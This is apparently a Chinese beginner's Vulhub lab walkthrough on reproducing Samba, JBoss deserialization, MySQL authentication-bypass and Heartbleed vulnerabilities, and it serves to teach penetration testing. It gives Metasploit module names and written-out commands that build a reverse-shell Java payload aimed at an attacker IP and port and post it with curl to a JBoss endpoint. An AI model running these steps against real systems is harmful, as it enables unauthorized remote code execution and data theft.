小白之vulhub靶机之旅--第二篇
字数 1871 2025-08-18 11:39:30

Vulhub靶机漏洞复现教学文档

1. Samba远程代码执行漏洞(CVE-2017-7494)

漏洞原理

  • Samba允许连接远程命名管道,在连接前调用is_known_pipename()函数验证管道名称
  • 该函数未检查管道名称中的特殊字符,导致可以加载恶意动态链接库
  • 影响版本:Samba 3.5.0 到 4.6.4/4.5.10/4.4.14之间的所有版本

复现步骤

  1. 使用Docker编译漏洞环境
  2. 在MSF中使用模块:exploit/linux/samba/is_known_pipename
  3. 设置目标地址和端口
  4. 指定可写目录的绝对路径(测试环境中为/home/share
  5. 执行exploit,成功将返回shell通道

2. JBoss反序列化漏洞

2.1 CVE-2017-12149

漏洞原理

  • JBOSS Application Server反序列化命令执行漏洞
  • 远程攻击者可在未经身份验证的服务器上执行任意代码
  • 影响版本:5.x和6.x版本的JBOSS AS

复现步骤

  1. 下载POC:git clone https://github.com/joaomatosf/JavaDeserH2HC
  2. 生成二进制payload:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
  3. 生成文件:ExampleCommonsCollections1WithHashMap.ser
  4. 设置监听:java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <攻击机IP>:6666
  5. 发送payload:curl http://<目标IP>:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
  6. 监听6666端口获取shell

2.2 CVE-2017-7504

漏洞原理

  • JMS上JbossMQ实现的HTTP调用层不限制执行反序列化的类
  • 允许通过精心设计的序列化数据执行任意代码

复现步骤

  1. 简单测试:访问http://ip:8080/jbossmq-httpil/HTTPServerILServlet/,能访问则存在漏洞
  2. 使用与CVE-2017-12149相同的payload生成方法
  3. 设置监听不同端口(如9999)
  4. 发送payload获取shell

2.3 JMXInvokerServlet反序列化漏洞

漏洞原理

  • JBoss在/invoker/JMXInvokerServlet请求中读取用户传入的对象
  • 利用Apache Commons Collections中的Gadget执行任意代码

复现方法

  • 使用集成化工具(需要Java环境)
  • 直接输入存在漏洞的URL进行验证

3. MySQL身份认证漏洞(CVE-2012-2122)

漏洞原理

  • 允许攻击者穷举256次用户密码即可成功登录
  • 根源在于memcmp()函数返回-128到127范围内的值
  • 仅在使用SSE优化库(GNU C库)的Linux系统上可利用

复现步骤

  1. 使用MSF模块:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
  2. 设置目标IP和端口(默认3306)
  3. 执行漏洞验证,即使密码错误也能通过认证

4. OpenSSL心脏滴血漏洞

漏洞原理

  • OpenSSL的心跳机制未做边界检测
  • 攻击者可获取TLS链接对端内存中的数据(每次至少16KB,最大64KB)
  • 可能泄露敏感信息如用户请求、密码甚至证书私钥

检测方法

  1. 使用MSF模块:auxiliary/scanner/ssl/openssl_heartbleed
  2. 使用nmap脚本检测
  3. 使用Python脚本检测

注意事项

  1. 靶机环境与实际测试环境有差异,但可提供思路
  2. 所有操作应在授权环境下进行
  3. 不同漏洞需要不同的工具和payload
  4. 反弹shell时需要正确设置监听IP和端口

参考工具

  1. Metasploit Framework (MSF)
  2. Nmap
  3. JavaDeserH2HC工具集
  4. 各种Python检测脚本

安全建议

  1. 及时更新受影响软件到安全版本
  2. 对暴露在公网的服务进行安全加固
  3. 定期进行漏洞扫描和安全评估
  4. 实施最小权限原则
Vulhub靶机漏洞复现教学文档 1. Samba远程代码执行漏洞(CVE-2017-7494) 漏洞原理 Samba允许连接远程命名管道,在连接前调用 is_known_pipename() 函数验证管道名称 该函数未检查管道名称中的特殊字符,导致可以加载恶意动态链接库 影响版本:Samba 3.5.0 到 4.6.4/4.5.10/4.4.14之间的所有版本 复现步骤 使用Docker编译漏洞环境 在MSF中使用模块: exploit/linux/samba/is_known_pipename 设置目标地址和端口 指定可写目录的绝对路径(测试环境中为 /home/share ) 执行exploit,成功将返回shell通道 2. JBoss反序列化漏洞 2.1 CVE-2017-12149 漏洞原理 JBOSS Application Server反序列化命令执行漏洞 远程攻击者可在未经身份验证的服务器上执行任意代码 影响版本:5.x和6.x版本的JBOSS AS 复现步骤 下载POC: git clone https://github.com/joaomatosf/JavaDeserH2HC 生成二进制payload: javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 生成文件: ExampleCommonsCollections1WithHashMap.ser 设置监听: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap <攻击机IP>:6666 发送payload: curl http://<目标IP>:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 监听6666端口获取shell 2.2 CVE-2017-7504 漏洞原理 JMS上JbossMQ实现的HTTP调用层不限制执行反序列化的类 允许通过精心设计的序列化数据执行任意代码 复现步骤 简单测试:访问 http://ip:8080/jbossmq-httpil/HTTPServerILServlet/ ,能访问则存在漏洞 使用与CVE-2017-12149相同的payload生成方法 设置监听不同端口(如9999) 发送payload获取shell 2.3 JMXInvokerServlet反序列化漏洞 漏洞原理 JBoss在 /invoker/JMXInvokerServlet 请求中读取用户传入的对象 利用Apache Commons Collections中的Gadget执行任意代码 复现方法 使用集成化工具(需要Java环境) 直接输入存在漏洞的URL进行验证 3. MySQL身份认证漏洞(CVE-2012-2122) 漏洞原理 允许攻击者穷举256次用户密码即可成功登录 根源在于 memcmp() 函数返回-128到127范围内的值 仅在使用SSE优化库(GNU C库)的Linux系统上可利用 复现步骤 使用MSF模块: use auxiliary/scanner/mysql/mysql_authbypass_hashdump 设置目标IP和端口(默认3306) 执行漏洞验证,即使密码错误也能通过认证 4. OpenSSL心脏滴血漏洞 漏洞原理 OpenSSL的心跳机制未做边界检测 攻击者可获取TLS链接对端内存中的数据(每次至少16KB,最大64KB) 可能泄露敏感信息如用户请求、密码甚至证书私钥 检测方法 使用MSF模块: auxiliary/scanner/ssl/openssl_heartbleed 使用nmap脚本检测 使用Python脚本检测 注意事项 靶机环境与实际测试环境有差异,但可提供思路 所有操作应在授权环境下进行 不同漏洞需要不同的工具和payload 反弹shell时需要正确设置监听IP和端口 参考工具 Metasploit Framework (MSF) Nmap JavaDeserH2HC工具集 各种Python检测脚本 安全建议 及时更新受影响软件到安全版本 对暴露在公网的服务进行安全加固 定期进行漏洞扫描和安全评估 实施最小权限原则